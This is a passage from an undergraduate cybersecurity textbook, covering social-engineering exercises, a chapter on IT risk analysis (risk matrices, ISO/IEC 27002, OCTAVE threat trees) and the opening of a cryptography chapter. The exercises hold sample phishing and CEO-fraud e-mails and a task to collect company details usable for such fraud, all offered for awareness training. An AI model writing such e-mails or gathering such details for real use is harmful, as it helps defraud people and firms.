insulted, just says that he has a meeting with James Cowley, who is the managing
director, in two minutes and that he doesn’t have time for discussions with you. What
do you do then?

2.5 Changing passwords

It is well known that many phishing attacks are attempts to get people to reveal their
user id and password for a computer system or a web page which requires you to log
in. When such attacks succeed in a company, the company’s IT support staff may
need to get all the users to change their passwords. How can they do this in such a
way that the users do not believe that this is just another phishing attack, where they
are being asked to type in their user ids and passwords?

2.6 An e-mail from the bank

For this exercise you should imagine that you are a customer of the Danish bank
DanskeBank. One day you receive the e-mail which is shown in Fig. 2.9.

Dear Customer,

Due to the current security upgrade at DanskeBank, all customers must

update their information to the new security system so that we can
provide you with a faster, simpler and more secure experience.

Click here: http://www.danskebank.dk and follow the instructions.

If you do not update your information, we will for security reasons

have to suspend your credit card until your update takes place.

DanskeBank

Fig. 2.9 An e-mail about your bank account

Would you click on the link in the mail? If you would not click on it, you should
give one or more reasons for ignoring the e-mail. If you are in doubt about what
you would do, you should give some suggestions for what you could do to decide
whether this mail is a genuine mail from the bank or a fake which is trying to lead
you astray.

2.7 CEO fraud

As mentioned in the text, CEO fraud is a form of attack based on people’s trust
in authorities. The attack is typically based on the use of a spoofed e-mail which
appears to come from an important person in the company or institution which is
being attacked, as in the following example:
36 2 Technique and Human Beings

From: Henry Sotherby <[email protected]>

To: Simon Jones <[email protected]>
Subject: Urgent change (OOO)
Date: 27 January 2021

Hi Simon,
This is a great meeting here in Florence. I’ll give you all a
briefing on it when I get back.

I just heard from Andrea Dolores at Infomin that they would

like their invoices paid into a new account. She didn’t say why.
But anyway, here are the details:
Bank name: Grossbury Investment Bank
Bank address: 153 Kings Road, Grossbury
Account number: 123-45679-081
Account name: Infomin CEOF

As far as I remember, there is an invoice to be paid tomorrow,

so please change the details to the above ASAP.

Truly yours,
Henry Sotherby

Fig. 2.10 A mail from the CEO?

To be successful with an attack of this type, the attacker has to do some homework:
find the name and e-mail address of the CEO (or other important person), find the
name and e-mail of some suitable person to target in the finance department of the
CEO’s company, and find the name of some important person in a company which
regularly sells goods or services to the targeted company.
How easy is this to do? Maybe much of this information can be found on the
company’s webpages. Maybe they have a Facebook account which will reveal suitable
details. Maybe they issue an annual report with information which could be used.
Maybe you can just ring to the company and ask. Choose one or more companies or
institutions which you know and see whether you can collect up enough information
which could be used in a CEO fraud attack. (But, of course, don’t get tempted to
actually perform the attack...)
Chapter 3
Risk

When you need to consider how to prevent possible security breaches in an IT system,
it is important to have an understanding of how serious the various types of breach
would be for the system in question. There is no point in doing very much to protect
against unimportant attacks or faults. In many commercial contexts people follow
the principle that you should not use more money to protect yourself than you risk
losing if a breach actually occurs. The loss cannot always be evaluated in terms of
money – it might be a matter of losing goodwill or damaging your reputation. But
an analysis of what could happen and how to counteract possible damage is the basis
for all serious work with IT security. The practical approach to this is typically to
evaluate the risks of having an IT system running.

3.1 What Is Risk?

The word risk is used here in its technical sense, where it is understood to mean the
quantitative probability that an error situation occurs [76] and gives rise to damage.
In IT security, “damage” is synonymous with a breach of the security policy. It is
important to understand that this is an objective definition of risk, which must not
be confused with subjective risk, which also takes human factors such as public
attitudes, trust and personality into consideration.
Quantitative evaluation of (objective) risk is a necessary discipline in many
areas—investment, moneylending, medicine, transport, technical development etc.—
in addition to IT security [76], and what people do in practice depends strongly on
traditions within the area under consideration. In IT security, people say that damage
occurs when a threat is realised against some weakness in the system. A weakness
which can be exploited to damage the system is known as a vulnerability. This idea
is illustrated in Fig. 3.1, where the threat is a shark and the vulnerability is a welding
fault in the shark cage.
In IT systems the vulnerabilities can be of a technical nature—for example, that
a design error in the operating system makes it possile for a malicious program,

© The Author(s), under exclusive license to Springer Nature Switzerland AG 2024 37

R. Sharp, Introduction to Cybersecurity, Undergraduate Topics in Computer Science,
https://doi.org/10.1007/978-3-031-41463-3_3
38 3 Risk

Fig. 3.1 A threat which can

exploit a weakness in the
safety cage
(Photo of white shark by Terry
Goss, Wikimedia Commons
file White_shark.jpg under
license CC-BY 2.5 Generic
[21])

such as a computer virus, to be executed on the user’s computer without the user’s
knowledge. Or they can be of a psychological nature, as we have seen in Chap. 2, so
the user for example can be persuaded to send his userid and password to an outsider,
who subsequently can log in on the user’s computer.
The basic risk, 𝑆, of a threat depends on the frequency, 𝐹, of attempts to exploit
the vulnerability and the consequences, 𝐾, of a successful attempt, as expressed in
the “equation”:
𝑆 =𝐹×𝐾
The relationship between these concepts is often visualised in the form of a so-
called risk matrix like the one shown in Fig. 3.2. The result of the “multiplication”
is indicated by a colour code: Red indicates a high risk associated with the given
threat. This arises when the consequences of a successful attack are high and the
frequency of attempts to exploit the vulnerability is also high. The yellow areas
indicate a medium level and the green areas a low level of risk.

Frequency

low medium high

low
Consequences
medium

Fig. 3.2 An empty risk matrix

high

The individual threats are

allocated to the squares which
correspond to their frequency
and consequences Risk
3.1 What Is Risk? 39

The risk is reduced by introducing countermeasures (also known as controls),

which must protect against the relevant threat. The reduced risk is known as the resid-
ual risk, R. If the threat is evaluated to give a risk 𝑆, and the level of countermeasures
is 𝑀, then the residual risk is often defined by the “equation”:

𝑅 = 𝑆/𝑀

𝑀 covers both the number of countermeasures (there can be several things which
affect the risk for particular types of attack) and their effectiveness. These relation-
ships are often visualised in the form of a so-called residual risk matrix like the one
shown in Fig. 3.3. The result of the “division” is again given by a colour code: A
high residual risk from a given threat is indicated by a red colour. This arises when
the risk is high and the level of countermeasures is low. As in the risk matrix, the
yellow areas indicate a medium level and the green areas a low level of residual risk.

Countermeasures

high medium low

low
medium
Risk

Fig. 3.3 An empty residual

risk matrix
high

The individual threats are

allocated to the squares which
correspond to their risks and
countermeasures Residual risk

In the two figures, 3.2 and 3.3, we have here used a 3-point scale (low, medium,
high) for all quantities (frequency, consequences, risk, countermeasures, residual
risk). This is a somewhat arbitrary but often used convention. Even if one can argue
for a finer division of the scale, the uncertainty in estimating these variables is in
practice large, and a finer division is therefore (at least in the first instance) more
or less meaningless. Quantities such as consequences can be particularly difficult to
place on a scale, as the impact of an attack may involve elements such as:
• Financial losses due to increased costs or loss of income;
• Loss of reputation, for example due to failure to provide agreed sevices or to meet
delivery dates;
• Penalties due to failure to fulfil regulatory requirements;
• Compensation to employees for failure to meet obligations of employment
or combinations of such elements.
Just exactly what should be understood by a low, medium or high value naturally
depends on the IT system’s size and purpose. A consequence corresponding to a loss
40 3 Risk

of 10 000 euros can seem very high for a small company but low for a large concern
with a turnover of billions. And there can likewise be differing views on how often
threats should turn up in order for the frequency to be classified as high, medium or
low. In the end, it is up to the management—or, for a system at home, the system
owner—to decide where the limits should be set.

3.2 Threats in IT Systems

Many IT users believe mistakenly that the only threat which can prevent the correct
operation of their computers is attackers who hack their way into the computer. In
reality, the threat pattern is much more varied, and the threats can be related to many
different aspects of the computer’s operation. We can distinguish between at least
four main groups of threats:
1. Hardware related threats:
These are threats which physically affect the computer itself or the infrastructure
on which it depends in order to work as required.
• Harmful surroundings, such as heat, water, dust, smoke, chemicals or rodents.

Fig. 3.4 A rodent: House-

mice are very fond of nibbling
cables with plastic insulation
(Foto: Wikimedia Commons
p)

• Natural disasters such as storms, lightning or floods.

• Physical attacks on the computer such as theft, vandalism or physical destruc-
tion.
• Faults in the infrastructure, such as powercuts, faults in the computer’s network
equipment or central faults in the Internet.
2. Software related threats:
These are threats which affect the software which is installed in the computer,
such as applications and the operating system, or which are due to poorly designed
or wilfully malicious programs coming from outside.
• Unauthorised modification or deletion of software.
• Wilfully malicious programs (so-called malware) such as viruses, worms,
trojan horses and logic bombs.
• Use of poorly designed programs which contain vulnerabilities.
• Use of incorrect or out-of-date software versions.
• Theft or unauthorised copying of software.
3.3 Countermeasures 41

3. Data related threats:

These are threats which can lead to unauthorised processing (including storage)
of data in any way.
• Unwanted storage, modification, disclosure or deletion of data.
• Inference—that is to say, collecting accessible data from which it is possible
to deduce confidential information which is not directly accessible.
• “Masquerading” (i.e. pretending to be someone else), unauthorised access.
4. Liveware related threats:
These are threats which are related to human error among the computer’s users,
possibly as a result of attacks of the type described in Chap. 2.
• Social engineering, phishing.
• IT fraud, forgery and other forms of criminality, now carried out with the help
of computers.
It is worth noticing that only some of these threats are related to actual attacks—
that is to say, human attempts to exploit a vulnerability. An attack assumes a human
attacker who, for one reason or another (vengeance, entertainment, prestige, political
or religious motives, . . . ), is interested in damaging the attacked system and who
has the necessary technical competence to perform the attack. Many other threats
are just due to stupid mistakes, clumsiness or natural phenomena.

3.3 Countermeasures

A threat is blocked by control of a vulnerability with the help of suitable counter-

measures. These must of course be adapted to suit the type of threat. For example:
• Threats from attackers outside the system, who attack through the Internet: Use
firewalls in the network, in order to prevent traffic from the attacker reaching the
target.
• Threats from malware: Use antivirus programs and other so-called security pro-
grams.
• Threats such as vandalism, theft and other physical damage to the equipment:
Place the equipment in a secure room.
• Threats such as unauthorised modification or deletion of data or software: Take
regular backup copies.
• Threats such as unauthorised access to data: Use encryption or access control.
• Threats from personnel and ordinary authorised users: Check personnel and
introduce suitable training.
In later chapters we return to a more detailed presentation of various forms of
countermeasure. More generally, one can deal with damaging events by:
1. Preventing them: Block attacks or remove (or reduce) the vulnerability.
2. Complicating them: Make the attack more difficult to perform.
42 3 Risk

3. Diverting them: Make other targets more attractive.

4. Detecting them, when they occur, or later.
5. Reestablishing status after them.
Ways of dealing with damage can naturally be combined. Notice that some of them
(1, 2 and 3) are proactive steps, which reduce the risk before the damage takes place,
while others (4 and 5) are reactive steps which are taken when the damage has in
fact occurred.

3.4 Risk Management

Risk management deals with all the activities which are related to evaluating and
reducing risks. The part of it whose aim is to reduce risk to an acceptable level is
often called risk mitigation. There are five generally recognised strategies for this:

Definition 3.1 (Risk mitigation stategies)

1. Risk avoidance: Keep the target system away from given risks.
e.g.: Forbid risky behaviour such as use of WiFi.
2. Risk reduction: Take proactive steps to prevent losses occurring or to reduce the
extent of the loss.
e.g.: Make use of backups, encryption and so on.
3. Risk retention: Allow a certain, agreed amount of “residual risk”.
e.g.: Use reliable, but not redundant communication equipment.
4. Risk transfer: Transfer the risk to others.
e.g.: Set up a contract for outsourcing.
5. Risk sharing: Agree with other parties to deal with risks jointly.
e.g.: Agree on common facilities or mutual insurance.

Irrespective of which strategy you choose, risk management must give a balance
between three factors:
• Security—how well is the IT system protected against unwanted events?
• Functionality—how well does the IT system perform its intended functions?
• Usability—how easy is it for users to make use of the system?
This last factor is unfortunately often forgotten by system designers, with the result
that ordinary users spend a lot of time just trying to do simple tasks such as logging
in to the system, transferring data or communicating with friends or colleagues, If
security measures do not give a usable system, users will find ways to avoid them!
3.5 Systematic Security Analysis 43

3.5 Systematic Security Analysis

In order to develop a secure system, it is an advantage to use a systematic method,

and over the years a number of systematic procedures for security analysis of IT
systems have been developed. Some well-known examples are:
• COBIT (Control Objectives for Information and related Technology): presents
objectives for measures which can be used to manage risk [47].
• COSO (Committee of Sponsoring Organizations): gives a detailed description of
internal processes which must be followed with a company in order to achieve
suitably low risk [18].
• FAIR (Factor Analysis of Information Risk): presents a taxonomy for factors
which can contribute to risk formation, a standard for naming risk-related quan-
tities and a model for calculating risk [53].
• International Standard ISO/IEC 27002: gives a checklist of things which have
to be taken into consideration in order to achieve a secure system [49].
• OCTAVE (Operationally Critical Threat, Asset and Vulnerability Evaluation):
describes the process of analysing threats and the corresponding risks and of
finding suitable countermeasures [2].
In this book we focus on the last two methods. They are not alternatives, but sup-
plement one another, as risk analysis is an important element in the checklist from
ISO/IEC 27002.

3.5.1 ISO/IEC 27002

The international standard ISO/IEC 27002 [49] is part of a series developed jointly
by the International Organization for Standardization (ISO) and the International
Electrotechnical Commission (IEC). The series currently consists of 44 complete
or planned standards which cover many aspects of information security, both in
general and within specific areas such as finance, energy supply, collection of digital
evidence and “cloud computing”, see Table 3.1.
44 3 Risk

Table 3.1 Standards in the ISO 27000 series

Standard Topic

ISO/IEC 27000 Information security management systems — Overview and vocabulary

ISO/IEC 27001 Information security management systems — Requirements.
ISO/IEC 27002 Code of practice for information security controls
ISO/IEC 27003 Information security management system implementation guidance
ISO/IEC 27004 Information security management — Monitoring, measurement, analysis and
evaluation
ISO/IEC 27005 Information security risk management
ISO/IEC 27006 Requirements for bodies providing audit and certification of information se-
curity management systems
ISO/IEC 27007 Guidelines for information security management systems auditing
ISO/IEC TS 27008 Guidelines for the assessment of information security controls
ISO/IEC 27009 Sector-specific application of ISO/IEC 27001
ISO/IEC 27010 Information security management for inter-sector and inter-organizational
communications
ISO/IEC 27011 Code of practice for information security controls based on ISO/IEC 27002
for telecommunications organizations
ISO/IEC 27013 Guidance on integrated implementation of ISO/IEC 27001 and ISO/IEC
20000-1
ISO/IEC 27014 Governance of information security
ISO/IEC 27016 Information security management – Organizational economics
ISO/IEC 27017 Code of practice for information security controls for cloud services
ISO/IEC 27018 Code of practice for protection of personally identifiable information (PII) in
public clouds acting as PII processors
ISO/IEC 27019 Information security controls for the energy utility industry
ISO/IEC 27021 Competence requirements for ISMS professionals
ISO/IEC 27031 Guidelines for information and communication technology readiness for busi-
ness continuity
ISO/IEC 27032 Guidelines for cybersecurity
ISO/IEC 27033 Network security
ISO/IEC 27034 Application security
ISO/IEC 27035 Information security incident management
ISO/IEC 27036 Information security for supplier relationships
ISO/IEC 27037 Guidelines for identification, collection, acquisition and preservation of digital
evidence
ISO/IEC 27038 Specification for digital redaction
ISO/IEC 27039 Selection, deployment and operations of intrusion detection and prevention
systems
ISO/IEC 27040 Storage security
ISO/IEC 27041 Guidance on assuring suitability and adequacy of incident investigative method
ISO/IEC 27042 Guidelines for the analysis and interpretation of digital evidence
ISO/IEC 27043 Incident investigation principles and processes
ISO/IEC 27050 Electronic discovery
3.5 Systematic Security Analysis 45

The latest version of ISO/IEC 27002 from 2022 describes targets for what has to
be done within 14 categories:

1. Information security policies

2. Organisation of information security
3. Human resource security
4. Asset management
5. Access control
6. Cryptography
7. Physical and environmental security
8. Operation security
9. Communication security
10. System acquisition, development and maintenance
11. Supplier relationships
12. Information security incident management
13. Information security aspects of business continuity management
14. Compliance with legal and contractual requirements

ISO/IEC 27002 replaces the previous international standard ISO17799. It is also a

European Norm, and therefore the preferred standard in many european countries
for planning information security in public institutions.

3.5.2 OCTAVE®

OCTAVE is a method for risk analysis developed for the international organisation
CERT®(Computer Emergency Response Team) at Carnegie Mellon University in
USA. The method is based on a systematic analysis of assets, threats and vulnera-
bilities in three phases, illustrated in Fig. 3.5.
1. Phase 1: Build up asset-based threat profiles.
2. Phase 2: Identify vulnerabilities in the infrastructure which could lead to unau-
thorised action.
3. Phase 3: Develop a security strategy and plans.
OCTAVE exists in four variants:
1. OCTAVE, the original method [2].
2. OCTAVE-S, a simplified version for small enterprises with limited resources.
3. OCTAVE ALLEGRO, an expanded version for enterprises with an advanced IT
structure [13].
4. OCTAVE FORTE,
In this book we give an short introduction to the original OCTAVE method.
46 3 Risk

Phase 1
Build asset-based
threat profiles

o Critical assets (CAs)

o Security reqts. for CAs
o Threats to CAs
o Current security practices Phase 3
o Current organisational Develop security
vulnerabilities strategy and plans

o Risks to critical assets

o Risk measures
Phase 2
o Protection strategy
Identify infrastructure
o Risk mitigation plans
vulnerabilities

o Key components
o Current technological
vulnerabilities

Fig. 3.5 Phases in the OCTAVE method (Adapted from Fig. 5 of [3] © Carnegie Mellon
University. Reproduced with permission)

3.5.2.1 OCTAVE Phase 1

OCTAVE’s first phase starts by collecting knowledge about the system which is to be
protected. This is not as simple as one might suppose, as different groups of people
within an organisation can have widely differing ideas about what is important and the
extent to which a given threat will seriously impact the organisation’s activities. The
aim is therefore to collect information from different groups within the organisation,
including the management, the IT staff and ordinary staff who rely on using the
assets for their work. An analysis group is set up to coordinate the collection of this
information.
The overall aim of the analysis is to:
1. Identify IT assets and their relative importance for the working of the organisation;
2. Estimate the possible impact of failing to protect the individual assets.
3. Identify security targets (“CIA”) for the most important assets.
4. Identify ways in which these security targets could be missed—for example by
developing scenarios in which things can go wrong;
In addition, knowledge of good practice in connection with protection strategies and
organisational vulnerabilities is collected up. That is to say, one tries to get a picture
of what works and what doesn’t work, and to find out whether the organisation makes
obstacles for itself—for example, by failing to ensure that all new employees get an
immediate introduction to IT security within the organisation, or by not sending
information about breaches of the security policy from the operational staff to the
decision makers in the management, who perhaps need to invest in better protection.
3.5 Systematic Security Analysis 47

Experience shows that it is especially with respect to giving priorities to the

assets that the different groups may disagree. At a university or other knowledge-
based enterprise, for example, it is a not unusual to find that:
• The management focus on things which they must use in the daily administration,
and on things which affect the organisation’s external image. For example:
– that important e-mails from the top management are always available,
– that confidential information—either internally generated or coming from
outside—is to be kept confidential.
• The IT staff focus on things which experience shows lead to operational distur-
bances and on functions such as backup and physical breakdown of technical
assets.
• Ordinary employees focus on their knowledge production and on material which
they need for meetings, discussions and other forms of dissemination, all of which
must be available come what may.
To proceed from there, the management therefore appoint an experienced analysis
group, who can get these different priorities and security targets to hang together
and then move on to the threat analysis.
You should note that in Phase 1 it is only the assets which are prioritised—
naturally in relation to their significance for the organisation’s activities. Starting
from a possibly very long list of assets, the analysis group tries to identify the so-
called critical assets, without which the organisation would not be able to perform
its tasks.
In Phase 2, an analysis is carried out of the extent to which the organisation’s
infrastructure (especially its most important components) contains vulnerabilities
which can be exploited for threats to the critical assets. The costs of protecting the
assets are not considered before Phase 3, and then it is a question of how much one
is willing to pay in order to reduce the risk of damage to an acceptable level.
When the analysis group has reached agreement on which assets are critical,
they try to identify the threats which could affect these assets. Their starting point
will typically be the concerns and fault scenarios which were indicated by the three
key groups. Further inspiration can, if necessary, be found by using models such as
STRIDE, in which one considers what can go wrong within 6 main areas:
1. Spoofing: Faking identity
2. Tampering: Unauthorised modification of data
3. Repudiation: Denial of having performed an action
4. Information disclosure: Loss of confidentiality
5. Denial of service (DoS): Loss of availability
6. Elevation of privilege: Gaining more rights
Regardless of how you find the potential threats, they then have to be described in
more detail. This is done in OCTAVE by creating threat profiles for each threat.
48 3 Risk

3.5.2.2 OCTAVE Threat Profiles

Each threat which is identified is described by a threat profile which characterises it

in relation to five standard properties:

Asset: The IT asset which is threatened.

Actor: Who or what causes a breach of the (CIA) security targets for the asset?
Is the actor within the organisation or outside it?
[Motive:] Is the actor’s action performed deliberately or by accident?
[Access:] How did the actor access the asset? By being physically present or by
technical means such as using a network?
Outcome: What happens to the asset? Is it disclosure, modification, destruc-
tion/loss or interruption?

Motive and Access are not relevant for all types of threat and can then be left out.

Note that the “asset” in a threat scenario must be the IT asset which is exposed to
the threat. For example; a collection of data, some software, some hardware, or a
complete IT system made up of a combination of such elements.

3.5.2.3 OCTAVE Threat Classes

In OCTAVE, threats are divided up into four standard classes, depending on the
origin of the threat, as described in Definition 3.2

Definition 3.2 (OCTAVE Threat Classes:)

1. The threat comes from a human actor who accesses the asset by technical means
such as via a network.
2. The threat comes from a human actor who has physical access to the asset.
3. System problems, i.e. problems with the organisation’s IT systems.
E.g. Hardware defects, software defects, system crashes, malicious code, etc.
4. Other problems, i.e. situations outside the organisation’s control.
E.g. Natural disasters, power failures, telecomms failures, failures in third-party
systems, etc.

There are standard profile templates for threats which fall into each of these classes.
These are normally drawn in the form of threat trees, whose root identifies the critical
asset which is exposed to the threat, and whose leaves show the outcome. The path
from the root of the tree to the leaf shows the actor and motive for the threat to the
relevant critical asset, as can be seen in the examples in Figs. 3.6, 3.7 and 3.8.
3.5 Systematic Security Analysis 49

3.5.2.4 Threat Analysis

The procedure is that you describe the threat by means of a scenario, note down its
standard properties and draw the threat tree. Three small examples of this are shown
below. To put the examples into a suitable context, let us imagine that the organisation
is a medium-sized engineering company manufacturing specialised components on
a make-to-order basis.

Threat 1:

• Scenario: An IT user in the HR department with access via the network deletes
some data from the personnel records by mistake.
• Analysis:
Asset: Personnel records
Access: Technical (via network)
Actor: Inside
Motive: Accidental
Outcome: Loss of data
The threat tree is shown in Fig. 3.6.

ASSET ACTOR MOTIVE OUTCOME

Disclosure
Modification
Accidental
Interruption
Destruction/Loss
Inside
Disclosure

Modification
Deliberate
Interruption

Personnel Destruction/Loss
records

Disclosure
Modification
Fig. 3.6 The threat tree for Accidental
Interruption
the scenario where a user with
Destruction/Loss
access via the net deletes data Outside
from the personnel records by Disclosure
mistake Modification
(Basic tree reproduced from Deliberate
Interruption
Table 7 in [13] with permis-
Destruction/Loss
sion)
50 3 Risk

Threat 2:

• Scenario: A fault in the mailserver leads to a “system crash”, causing the e-mail
service not to be available for a period.
• Analysis:
Asset: Mail server with incoming mails
Actor: System crash
Outcome: Interruption of mail service
• Note: For threats associated with system problems (as here) or “other problems”,
neither access nor motive are required!
The threat tree is shown in Fig. 3.7.

ASSET ACTOR OUTCOME

Disclosure
Modification
Software Defects
Interruption
Destruction/Loss

Disclosure

Modification
System Crashes
Interruption
Destruction/Loss
Mail server

Disclosure
Modification
Hardware Defects
Interruption
Fig. 3.7 The threat tree for the
Destruction/Loss
scenario where the mail server
crashes, so e-mail cannot be Disclosure
used for a period Modification
(Basic tree reproduced from Malicious Code
Interruption
Table 7 in [13] with permis-
Destruction/Loss
sion)

Threat 3:

• Scenario: External attackers carry out a ransomware attack, in which they encrypt
the contents of the hard disk which holds the organisation’s design system and
demand money to decrypt it again. While the hard disk is encrypted, users cannot
get hold of the data or programs which are stored on the disk.
3.5 Systematic Security Analysis 51

• Analysis:
Asset: Hard disk in organisation’s design system
Access: Technical (via network)
Actor: Outside
Motive: Deliberate
Outcome: Unavailability of files

The threat tree is shown in Fig. 3.8.

ASSET ACTOR MOTIVE OUTCOME

Disclosure
Modification
Accidental
Interruption
Destruction/Loss
Inside
Disclosure

Modification
Deliberate
Interruption

Design System Destruction/Loss

Harddisk

Disclosure
Fig. 3.8 The threat tree for Modification
Accidental
the scenario where an external Interruption
attacker via the net makes the
Destruction/Loss
organisation’s design system Outside
unusable by encrypting the Disclosure
hard disk Modification
(Basic tree reproduced from Deliberate
Interruption
Table 7 in [13] with permis-
Destruction/Loss
sion)

Note that these examples only show the trees for two classes of threat. Trees
for scenarios where a human actor has physical access resemble those for technical
access, but the access form is “physical access”. Trees for “other problems” resemble
those for technical problems, but the actor is a choice between natural disasters, power
failures, telecomms failures, and third-party system failures.
Note also that only a single threat is shown for each critical asset. In many cases
there will of course be threats in several standard classes for the same critical asset
and several threats in the same standard class for the same asset.
When the threats have been identified, the next step is to evaluate the risk associ-
ated with each individual threat—that is to say to make an estimate of the frequency
with which the threat appears and the impact on the organisation if the threat leads
to an actual breach of the security policy. When this has been done, the threat is
marked in in the relevant square in the risk matrix. For the three small examples
shown above, the result of this evaluation might be:
52 3 Risk

Threat 1: Frequency: medium (about once a month).

Consequences: high (Data for some employees is missing. This may give legal
problems due to having undocumented employees and possibly a need for com-
pensation for employees who did not received salaries.)
Risk: medium × high (= medium).
Threat 2: Frequency: low (about once a year).
Consequences: high (Lack of communication with the world outside, causing loss
of income due to inability to exchange documents with customers).
Risk: low × high (= low).
Threat 3: Frequency: medium (about once a month).
Consequences: high (The design department cannot operate, leading to loss of
income and loss of reputation, as deadlines cannot be met).
Risk: medium × high (= medium).
The resulting risk matrix can be seen in Fig. 3.9.

Frequency

low medium high

low

3
Consequences
medium
high

2 1

Fig. 3.9 Risk matrix for the

three small examples of threat
scenarios Risk

This is the end of the typical activities in Phase 1. Subsequently, we typically

want to evaluate the residual risk from the threats if countermeasures are applied in
order to counteract them. This makes it possible to place the threat in the relevant
square in the residual risk matrix. To continue with the three small examples, the
result of this evaluation might for example be:
Threat 1: Risk: medium.
Countermeasures: medium (backup is taken of the personnel records every night).
Residual Risk: medium / medium (= medium).
Threat 2: Risk: low.
Countermeasures: medium (spare mail server can be put into operation within 12
hours).
Residual Risk: low / medium (= low).
3.6 Risk Management as a PDCA Process 53

Threat 3: Risk: medium.

Countermeasures: medium (an incremental backup is taken of the design system’s
files every hour).
Residual Risk: medium / medium (= medium).
The resulting residual risk matrix can be seen in Fig. 3.10.

Countermeasures

high medium low

low
2, 3

medium
Risk

1
high

Fig. 3.10 Residual risk matrix

for the three small examples
of threat scenarios Residual risk

After this one would typically consider whether the residual risk is too high—that
is to say, whether it lies in a yellow or red area in the residual risk matrix. If the
residual risk is too high, more or better countermeasures must be introduced, or other
forms of risk mitigation must be used. This activity lies outside OCTAVE’s Phase 1.
We return to the choice of countermeasures in later chapters.

3.6 Risk Management as a PDCA Process

Risk management should not be a one-time activity. The risk profile changes with
time, as new forms of attack are developed or known threats appear more often. The
situation must be re-evaluated at regular intervals. This means that risk management
most often takes the form of a so-called PDCA process with four characteristic
phases (Plan, Do, Check, Act), which in the case of risk management are as follows:
• Plan: Threats are identified, risks are analysed, and countermeasures are planned.
• Do: Countermeasures or other forms of risk management are implemented.
• Check: The implemented solution is monitored, to check that the desired level of
security is maintained.
• Act: The solution is adjusted, so that it continues to give the desired security level,
or a decsion is taken to carry out a completely new Plan phase.
54 3 Risk

These four phases are repeated continually, as shown in Fig. 3.11. When risk analysis
is carried out using OCTAVE, for example, this activity fits into the Plan phase of
the PDCA process, while the remaining phases deal with the necessary follow-up of
the analysis, in order to see what to do next.

Identify
An
ol al
ntr ys
Co e
A P

Monitor

an
Pl
Fig. 3.11 Schematic view of
D
Implement
a PDCA process

Useful concepts which you should now know about

In this chapter, the following concepts were introduced:

• A vulnerability
• A threat
• A threat profile
• Objective risk
• Subjective risk
• A countermeasure
• A risk matrix
• A residual risk matrix
• An attack
• Risk management
• Security analysis
• PDCA
You should check that you understand their definitions and can give examples of
contexts where they play a role.

Further Reading

Two good introductions to the concept of risk in a general, not IT-specfic, context
are the previously mentioned report “Risk: Analysis, Perception and Management”
from the British Royal Society [76], and Ben Ale’s book “Risk: An Introduction” [4].
Methods for evaluating risk in an IT context are described in detail in the references
Exercises 55

given in Sect. 3.5—and in even more detail in the various parts of the standards in
the ISO27000 series, especially ISO/IEC Standard 27005 [48]. It is only fair to say
that the standards make heavy reading, so they are probably not the first place to
look when you want to start reading about the subject.
This chapter only gives a very short introduction to some of the ideas behind the
original OCTAVE method. For more detail, the report “Introducing OCTAVE Alle-
gro: Improving the information security risk assessment process” [13], describing
the more modern OCTAVE Allegro version, can be recommended.

Exercises

3.1 The patient record system

In Ultima Thule Hospital, an analysis of the patient record system revealed the
following aspects of the system which caused concern:
a) A doctor who does not belong in a particular department of the hospital can
accidently get to activate the system in that department and change the records
for one or more patients.
b) A department’s nursing staff, who according to the security policy have access
to read the records for all patients, can leak details of celebrities who are being
treated in that department to the press.
c) People coming into the hospital from outside can “borrow” a white coat and
pretend to be members of the staff and obtain access to details of failed operations
performed at the hospital, which can damage the hospital’s reputation.
d) The hospital has the target that it must be possible to read patient records online
99.5% of the time, measured over a 3-month period, and it must be possible to
insert new records and modify records 90% of the time, measured over the same
period. Nevertheless, the hospital experiences that their internal network fails for
a period of 5 minutes or more about three times a year.
e) A software product procured from the company Snork PlC is widely used in the
hospital’s IT systems. The product is maintained via updates distributed by Snork
PlC. These updates are important for the security of the systems. The updates are
sent out in a CDROM and are distributed to the hospital’s system by the hospital’s
own IT personnel. Snork PlC is not a very well consolidated company and might
possibly collapse.
Use the methods from OCTAVE to analyse these risks. You should in the first
instance confine your efforts to developing a set of threat trees for scenarios which
are relevant in relation to the above concerns.
3.2 Internal and eksternal attackers
Methods such as OCTAVE distinguish between threats where a human actor accesses
an asset via a network or by having physical access to the equipment where the asset
is to be found. Try to look at this in another way: See whether you can find data which
shows whether most security breaches are caused by internal users (employees in a
56 3 Risk

company or family members in a private home) or by external users (outsiders who

have no connection with the company or the home).

3.3 Cyberespionage
Cyberespionage is a big threat to many companies, especially high-tech companies.
See whether you can find statistics which show whether most security breaches of
this type are caused by malware, which arrives and gets installed via the net and
sends data back to the industrial spies, or by directed attacks by a human hacker,
who breaks into the company’s IT system and collects the interesting information
directly.

3.4 Objective and subjective risk

In a Danish investigation carried out in 2009, respondents were asked to evaluate
whether a number of events should be considered as security breaches or not. Almost
100% considered it a breach if other people extracted personal data from the respon-
dent’s computer via the net. But only about a quarter of the respondents thought that
theft of their computer was a breach, even though it in reality potentially gives the
thief easy access to any personal information which is in the computer, and theft of
computers (including very small computers such as smartphones) is more common
than hacking. People’s perceptions of risk for these two types of event were evidently
widely different.
Try to carry out a similar investigation among people whom you know: Ask as
large a number as possible whether they think that hacker attacks or thefts give a
larger or smaller risk of loss of personal information from their computers. As a
supplementary question, you might like to ask whether the respondents themselves
have experienced either of these events.

3.5 Risk Analysis for a smartphone

Use the approach from OCTAVE to perform a risk analysis for your smartphone. (If
you don’t have a smartphone, the next best possibility is to perform a risk analysis
for your tablet or your laptop computer.) A good starting point would be to answer
Exercise A.1 in Appendix A, and then use your answer as the basis on which to
evaluate what is possibly in the risk zone. In rough terms, it will be necessary to:
1. Think of a number of scenarios (as many as possible) where a threat could appear.
2. Draw relevant threat trees.
3. Estimate the frequency and consequences for each threat. (It may be necessary to
look in the literature or on the net to find realistic values for these quantities.)
4. Draw one or more risk matrices, in which the threats are placed.
5. Estimate how good the protection against the individual threats is in your equip-
ment. Once again it may be necessary to look for inspiration on the net.
6. Draw one or more residual risk matrices, in which the threats are placed.
Chapter 4
Cryptography

Cryptography (from the Greek words for hidden writing) is a discipline which is
concerned with techniques for secure handling of data, when there are attackers
present. Cryptography is therefore one of the two fundamental techniques which can
be used to prevent disclosure of confidential data. (The other—access control—is
discussed in Chap. 9.) As such it is a central element in every system for preserving
confidentiality, both for data which are stored in individual computers and for data
which is transmitted between computers. Modern computer-based cryptographic
techniques can, however, be used to achieve security targets other than confidentiality,
and these uses of cryptography will be discussed in the next chapter in this book.

4.1 Some Central Concepts

The primary aim of cryptographic methods to ensure confidentiality is to scramble

a text or other data in such a way that only the desired receiver can unscramble it
again and thus read the original text or data. The original, understandable form of
the text is known as plaintext, while the scrambled (and usually incomprehensible)
